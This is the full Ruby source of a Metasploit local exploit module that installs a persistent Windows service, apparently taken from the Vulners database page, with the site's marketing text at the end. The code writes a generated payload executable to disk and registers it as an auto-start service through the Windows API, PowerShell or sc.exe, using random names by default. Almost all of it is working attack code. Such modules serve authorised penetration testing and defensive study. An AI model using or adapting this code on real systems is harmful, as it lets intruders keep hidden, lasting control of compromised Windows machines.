##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Post::Windows::Services
include Msf::Post::File
include Msf::Post::Windows::Priv
include Post::Windows::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/persistence_service'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Persistent Service Installer',
'Description' => %q{
This Module will generate and upload an executable to a remote host.
It will create a new service which will start the payload whenever the service is running. Admin or system
privilege is required.
},
'License' => MSF_LICENSE,
'Author' => [
'Green-m <greenm.xxoo[at]gmail.com>', # original module
'h00die' # persistence updates
],
'Platform' => [ 'windows' ],
'Targets' => [['Windows', {}]],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Privileged' => true,
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'DefaultTarget' => 0,
'References' => [
['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'],
['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'],
['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],
['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
],
'DisclosureDate' => '2018-10-20',
'DefaultOptions' => {
'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start
},
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']),
OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]),
OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]),
]
)
end
def check
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin?
CheckCode::Appears('Likely exploitable')
end
def install_persistence
fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin?
rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8)
@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12)
@service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8)
@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12)
rexename << '.exe' unless rexename.end_with?('.exe')
vprint_status('Compiling payload')
@dest_pathname = writable_dir + '\\' + rexename
exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })
write_file(@dest_pathname, exe)
print_good("Payload written to #{@dest_pathname}")
success = false
if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto'
vprint_status('Attempting API method')
success = api_service
end
if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell?
vprint_status('Attempting Powershell method')
success = powershell_service
end
if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success
vprint_status('Attempting sc.exe method')
sc_service
end
@clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n"
@clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"
@clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n"
end
def powershell_service
vprint_status("Install service: #{@service_dname} (#{@service_name})")
service_builder = "New-Service -Name '#{@service_name}' "
service_builder << "-DisplayName '#{@service_dname}' "
service_builder << "-Description '#{@service_description}' "
service_builder << "-BinaryPathName '#{@dest_pathname}' "
service_builder << '-StartupType Automatic'
resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")
return false if resp.include?('Access is denied')
return false unless resp.include?('Stopped')
vprint_status("Service install response: #{resp}")
vprint_status('Starting service')
resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")
vprint_status("Service start response: #{resp}")
true
end
def sc_service
vprint_status("Install service: #{@service_dname} (#{@service_name})")
sc_cmd = "sc.exe create #{@service_name} "
sc_cmd << "binPath= \"#{@dest_pathname}\" "
sc_cmd << 'start= auto '
sc_cmd << "DisplayName= \"#{@service_dname}\""
resp = cmd_exec(sc_cmd)
return false if resp.include?('FAILED')
vprint_status("Service install response: #{resp}")
vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\""))
vprint_status('Starting service')
resp = cmd_exec("sc.exe start \"#{@service_name}\"")
vprint_status("Service start response: #{resp}")
true
end
def api_service
vprint_status("Install service: #{@service_dname} (#{@service_name})")
resp = service_create(@service_name,
{
display: @service_dname,
path: @dest_pathname
})
return false unless resp == 0
vprint_status("Service install code: #{resp}")
vprint_status('Starting service')
vprint_status("Service start code: #{service_start(@service_name)}")
true
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation